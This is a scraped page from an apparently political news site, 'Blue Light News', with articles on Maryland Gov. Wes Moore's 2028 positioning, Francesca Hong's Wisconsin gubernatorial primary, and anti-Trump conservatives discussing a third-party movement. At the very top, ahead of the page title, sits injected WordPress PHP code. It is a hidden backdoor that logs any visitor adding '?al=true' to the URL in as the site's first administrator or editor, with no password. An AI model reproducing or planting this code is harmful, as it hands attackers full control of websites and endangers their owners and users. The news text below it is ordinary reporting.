// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Wes Moore is doing everything to lay the groundwork for a presidential bid. But he insists he’s ‘not running.’ – Blue Light News
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Wes Moore is doing everything to lay the groundwork for a presidential bid. But he insists he’s ‘not running.’

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1 year ago

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Maryland Gov. Wes Moore is set to travel to the early primary state of South Carolina at the end of this month to headline the state party’s influential Blue Palmetto Dinner, according to plans shared first with Blue Light News. He’s delivering a commencement speech at the historically black Lincoln University on Sunday in Pennsylvania, a key swing state. And he’s going on national shows like “The View” to bolster his profile as he heads into a reelection bid next year.

Still, in an interview, Moore insisted he isn’t running for president in 2028.

“I am clear — I’m not running,” Moore told Blue Light News on Thursday, something he also said on his national television appearance that day. “But what I am doing is running to make sure that Maryland really is going to have the most explosive decade that it’s had at any time in recent history.”

Moore, a Democratic rising star, has drawn praise from actor and Democratic megadonor George Clooney as many have widely seen him as a presidential contender. However, the governor framed his thinking about present-day challenges and not the 2028 calendar — still three years away.

“I think that anyone who is, you know, focusing their time and their efforts trying to audition for 2028, to me, what it says is, you’re not taking 2025 very seriously,” he said, and maintained his focus is on winning a second term in Maryland next year.

Moore’s remarks came as other prospective Democrats are making not-so-subtle moves ahead of the 2028 campaign.

Illinois Gov. JB Pritzker traveled to New Hampshire this past weekend for a dinner where he railed against “do-nothing Democrats.” Michigan Gov. Gretchen Whitmer, taking a more conciliatory approach to President Donald Trump, appeared alongside him at a rally in Michigan, claiming a victory in his announcement of a new F-15 fighter mission at Selfridge Air National Guard Base. Gina Raimondo told David Axelrod she is considering running for president, and former Vice President Kamala Harris, who is weighing a gubernatorial campaign in California against a potential presidential bid, rebuked Trump in a return to the national stage in San Francisco.

For his part, Moore’s visit to South Carolina will coincide with the party’s annual fish fry, a high-profile political gathering hosted by the influential Rep. Jim Clyburn, who shaped the 2020 race when he backed then-candidate Joe Biden in the primary.

“Mr. Clyburn was very insistent on me getting back down there,” Moore said, referring to his decision to skip the state party’s “First in the Nation Celebration Dinner” that then-President Joe Biden headlined last year.

Moore’s excuse for not attending at the time: “My [Baltimore] Ravens were in the AFC championship, and you know, there’s no way in hell is gonna miss that.”

The former nonprofit leader and author has been making the rounds on sports radio and podcasts, in a move widely seen as shoring up support with men. It’s a demographic the party struggled with when Harris topped the ticket last year. But whatever his loyalties to his favored football team, he said he also knows his political obligations.

“I told him I would make it up for him,” Moore added. “And you know, you do not say no to Mr. Clyburn.”

South Carolina Democratic Party Chair Christale Spain, who confirmed Moore will headline the event on May 30, said the dinner has become a showcase for future presidential hopefuls. But she acknowledged: “We’ve had speakers who haven’t run for president.”

She added of Moore, “we’re appreciative that he would come.”

She also noted there’s still plenty of time for other potential candidates to ingratiate themselves with the party faithful in the state.

At the Blue Palmetto gala held last May, Sens. Cory Booker of New Jersey and Raphael Warnock of Georgia were headliners. Both are now  being discussed as potential presidential candidates.

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Dasha Burns presses Mike Johnson on the economy, Iran and Trump’s agenda

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August 6, 2026

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Dasha Burns presses Mike Johnson on the economy, Iran and Trump’s agenda

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Progressives got their win in Michigan. Can a democratic socialist carry Wisconsin?

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August 5, 2026

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The wave of populist energy propelling progressive Democrats to primary wins across the country reduced Wednesday morning to a ripple, just pushing Abdul El-Sayed to a narrow victory over his more moderate opponent, Rep. Haley Stevens.

Francesca Hong will try to keep the progressive momentum alive in another swing-state test in Wisconsin next week.

But if Hong, the democratic socialist frontrunner to claim her party’s gubernatorial nomination, wins her primary, she’s already recognizing the need to unite a broader coalition to win in November.

“We absolutely need every single vote, and we’ll be fighting to earn every single vote,” Hong said in an exclusive interview with Blue Light News on Wednesday morning.

“I’ve talked to moderates and independents, Republicans, folks who don’t have a political home right now, and they have a lot of concerns about what’s going on in the state. They also have concerns about things I’ve said in the past,” she added. “But what we’re focusing on is how to come together to actually deliver for Wisconsinites, and that’s going to be electing Democrats down and up the ballot this cycle.”

Hong, a state Assembly member and former restaurant owner, this week faced criticism from across the political spectrum about a slew of old social media posts espousing far-left views, from declarations to abolish the police to a call to “cancel Thanksgiving.” And El-Sayed’s knife-edge win right next door is reigniting concerns among some Democrats that a battleground may not be ready for such a lefty leader.

Hong appears to be moderating on — or at least adding context to — some of her more controversial positions. She has walked back her stance on police abolition while emphasizing the need to better tackle the underlying causes of crime. She told Blue Light News many of her old posts were “jokes,” including the one about Thanksgiving, which she said is actually her favorite holiday.

Still, Hong isn’t giving up her democratic socialist bonafides.

“The vision that we have for Wisconsin is one that my local DSA chapter shares,” she said, adding that “we’re fighting to make sure that we’re building the diverse coalition that we need to make sure that we win this for Wisconsinites in November.”

Hong has notched endorsements from several national progressives, including Rep. Ro Khanna (D-Calif.) and Rep. Ilhan Omar (D-Minn.), who rallied alongside her and the progressive podcaster Hasan Piker last weekend.

But she hasn’t been endorsed by the country’s two most prominent democratic socialists and standardbearers of the progressive movement: Sen. Bernie Sanders (I-Vt.) and Rep. Alexandria Ocasio-Cortez (D-N.Y.). Hong told Blue Light News she has not spoken to either and attributed their lack of endorsement to their focus on federal races — though Sanders endorsed Troy Jackson in the Vermont governor’s race before he lost and became the Senate nominee, and both endorsed New York City Mayor Zohran Mamdani last year.

“We have been focusing on winning a Democratic primary and staying above the drama,” Hong said.

Despite a major fundraising disadvantage, Hong has emerged as an unlikely frontrunner. She has led in the polls for months and became the all-but-presumed nominee after her main opponents, Lt. Gov. Mandela Barnes and Lt. Gov. Sara Rodriguez, both dropped out amid simmering scandals that embroiled their campaigns. Hong’s chief primary opponent next week is Milwaukee County Executive David Crowley, who dropped out of the race then jumped back in last month and has the endorsement of the state’s current Gov. Tony Evers, a moderate Democrat. Whoever wins on Tuesday will face off against the President Donald Trump-endorsed GOP Rep. Tom Tiffany.

Hong believes her lead is due to a grassroots campaign that has excited Democratic primary voters in Wisconsin. “Free child care, fully funding our schools, taxing the billionaires and a moratorium on AI data centers is what the majority of Wisconsinites have been telling us that they want, and we are the campaign that is listening,” she said in the interview.

The Crowley campaign is pointing to the Michigan results as a sign that they can still catch Hong. “There is still a long way to go in this race,” Crowley spokesperson Eddie Vale said. “If you can’t handle an easy BLN interview about Thanksgiving how can you possibly face the full wrath of the Republican attack machine?”

To beat Tiffany in the general, Hong would likely need to pick up support from more moderate Democrats and independents — all while dodging a deluge of Republican attacks digging up her old comments and seeking to paint her as “woke.”

“All Francesca Hong has to offer Wisconsin is bigger government, a plan to make Wisconsin the highest-taxed state in the nation, and a record of calling to abolish the police and prisons,” Tiffany said in a statement to Blue Light News.

“They are trying to get a head start on labeling her ahead of the primary because they don’t see the result changing,” said Winnebago County Executive Gordon Hintz, who was minority leader in the state Assembly when Hong was first elected.

“There’s a very big discussion going on in Wisconsin, much as there was in Michigan, about whether a very progressive candidate can prevail in the primary and in the general election,” said John Nichols, a Madison native who wrote an anti-capitalist manifesto with Sanders. “It goes to a lot of questions about what’s been said in the past and how much people care.”

Asked if she planned to change her messaging strategy ahead of the primary, Hong flipped the question back to Tiffany. “When it comes to tailoring messaging, it’s important to recognize that what we have to offer are actual solutions, and what Tom Tiffany is bringing are clearly more Trump tariffs,” she said.

Tiffany, in his statement, hit back. “While she focuses on promoting socialism, defending inflammatory statements, and campaigning alongside terrorist sympathizers, I’ll remain focused on ending the 400-year property tax hike, rooting out fraud, bringing good-paying jobs back to Wisconsin, and making life more affordable after eight years under a Democrat governor,” he said.

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Anti-Trump conservatives Tucker Carlson, MTG, Massie huddle about launching third-party movement

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August 5, 2026

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President Donald Trump’s most vocal opponents on the right were sowing the seeds for a future third-party political organization during a weekend get-together aimed at undercutting the Republican establishment.

The meeting at Tucker Carlson’s compound in Maine with Rep. Thomas Massie, former Rep. Marjorie Taylor Greene and others — captured in a photo posted by Greene on Saturday — served as a launch pad for a possible independent presidential campaign focused on unwinding U.S. involvement in foreign conflicts.

“We said no more foreign wars and we meant it and supported Donald Trump because he made that promise. But he’s betrayed us all,” Greene wrote in the post. “The movement has begun.”

Joe Kent, the former Trump national security official who resigned earlier this year and attended the weekend confab with Carlson, said the group congregated to strategize on how to best organize their shared opposition to the war in Iran.

“There’s a lot more nuts-and-bolts work that needs to be done there,” Kent said in an interview on “The Young Turks,” the progressive talk show. “Running as a third-party candidate is challenging. Not impossible, but it is very challenging. But that’s kind of the consensus that we came to, that the current system just simply doesn’t work, and we have to find something new to save our country.”

Carlson, Greene and Massie all backed Trump ahead of the 2024 election. But each one broke with Trump over the course of his second term as the Trump administration continued to coordinate military operations with Israel in the Middle East. Greene and Massie were also loudly critical of Trump’s opposition to releasing federal investigative documents relating to convicted sex offender Jeffrey Epstein, further drawing Trump’s ire.

It’s unclear who would lead the newborn movement. Kent said every attendee at the Maine meeting urged Carlson to run for president in 2028 with their group’s backing but noted that Carlson said he wouldn’t run.

“Hopefully he wakes up one day and Tucker says he’s going to run,” Kent said.

Carlson and Massie did not respond to requests for comment. Greene declined to comment.

The challenges facing third-party and independent presidential candidates are enormous. They must navigate different signature requirements and deadlines in each state just to get on the ballot. Past independent campaigns have been unable to compete financially with the two major parties.

The most recent third-party presidential campaign — Robert F. Kennedy Jr.’s independent bid in 2024 — ended months before Election Day when Kennedy endorsed Trump. At the time he dropped out, Kennedy was polling in single digits and fighting lawsuits seeking to block him from the ballot in multiple states.

Kent said the policy platform for the group’s hypothetical third-party campaign in 2028 would ignore most domestic matters and further emphasize their staunch anti-interventionism.

“I think it is having a very, very simple platform, and it’s acknowledging upfront, like, we are going to disagree on a lot of domestic policy and a lot of social issues,” Kent said. “At the end of the day, the president can talk a lot about all those things, but he really doesn’t have a lot of power.”

“We do agree that we don’t want Israel dictating our foreign policy,” he added. “We don’t want any more foreign wars.”

Lisa Kashinsky, Alec Hernandez and Sam Benson contributed to this story. 

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